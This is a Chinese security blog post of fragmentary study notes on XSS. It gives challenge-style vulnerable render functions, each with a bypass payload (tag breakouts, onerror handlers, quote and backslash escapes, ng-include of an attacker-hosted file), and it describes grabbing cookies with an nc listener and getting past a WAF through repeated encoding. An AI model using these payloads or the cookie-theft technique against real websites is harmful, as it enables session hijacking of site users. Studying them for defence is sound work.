freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

XSS的简要分析
EchoEverything 2023-04-15 11:13:36 125200
所属地 江苏省

XSS注入

一、XSS(DOM型)

用户输入参数,然后前端给你处理,处理的结果反馈到页面,所以需要分析源代码中它的处理js

1)XSS盲打(插入的界面自己看不到只有管理员可以看)

配合nc抓cookie

盲插入(目前还没学到好方法)

二、XSS(反射型)

三、XSS(储存型)

1) 或者

2)

前端只有后闭合无意义

<textarea></textarea><script>alert(1)</script></textarea>

3)<input type="name" value="' + input + '”>留有>或之类的“>给一个标签就行

使img标签生效(正常或保错)需要src 如

onerror=alert(1)可以不加引号

<input type="name" value="' + input + '"><script>alert(1)</script><img ">

4)屏蔽()‘

将后面的Unicode 解码

屏蔽

把文件名改为ABC.JS URL不大小写敏感

function render (input) {
  input = input.replace(/script/ig, '')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

双写绕过加ABC.JS

function render (input) {
  input = input.replace(/[</"']/g, '') 屏蔽所有/ " ' <
  return `
    <script>
          // alert('${input}')
    </script>
  `
}

换了一行

alert(1)
--> 将“)注释掉

11)把所有ſ(长s)s的一种变体可以用(用wiki查s)

12)绕过log

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&')
            .replace(/'/g, ''')
            .replace(/"/g, '"')
            .replace(/</g, '<')
            .replace(/>/g, '>')
            .replace(/\//g, '/')
  }
  return `<img src onerror="console.error('${escapeHtml(input)}')">`
}

');alert(1)// ;是js语句分隔

13)斜杠转义

// from alf.nu
function escape (s) {
  s = s.replace(/"/g, '\\"')
  return '<script>console.log("' + s + '");</script>'
}

");alert(1)/ 第一个\转义\

function render (s) {
  function escapeJs (s) {
    return String(s)
            .replace(/\\/g, '\\\\')
            .replace(/'/g, '\\\'')
            .replace(/"/g, '\\"')
            .replace(/`/g, '\\`')
            .replace(/</g, '\\74')
            .replace(/>/g, '\\76')
            .replace(/\//g, '\\/')
            .replace(/\n/g, '\\n')
            .replace(/\r/g, '\\r')
            .replace(/\t/g, '\\t')
            .replace(/\f/g, '\\f')
            .replace(/\v/g, '\\v')
            // .replace(/\b/g, '\\b')
            .replace(/\0/g, '\\0')
  }
  s = escapeJs(s)
  return `
<script>
  var url = 'javascript:console.log("${s}")'
  var a = document.createElement('a')
  a.href = url
  document.body.appendChild(a)
  a.click()
</script>
`
}

\");alert(1)// 将他干成偶数个\

");alert(1)// 可行

配合nc使用 hacker nc -lvp 4444 website 获得cookie

要用img需要声明变量 然后a随便填因为黑客端未要求get的关键字escape是编码(cookie本身编码过不会在被编码,这里编码特殊符号之类的)

14)ng-include包含外部文件形成嵌套页面

ng-include=’show_xss.php’ show_xss.php 是hacker的含有xss的php 1)src=’xxxx’

防火墙绕过

编码多次去判断防火墙解码几次

# xss攻击 # 存储型XSS # XSS漏洞 # XSS防御
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 EchoEverything 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
EchoEverything LV.3
学习网络安全的小白
  • 5 文章数
  • 1 关注者
Bombon 方法论:我将如何测试Web缓存漏洞
2025-01-26
Bombon XSS方法论:找到更多跨站脚本漏洞的终极技巧
2025-01-25
反序列化的简单介绍
2023-04-15
文章目录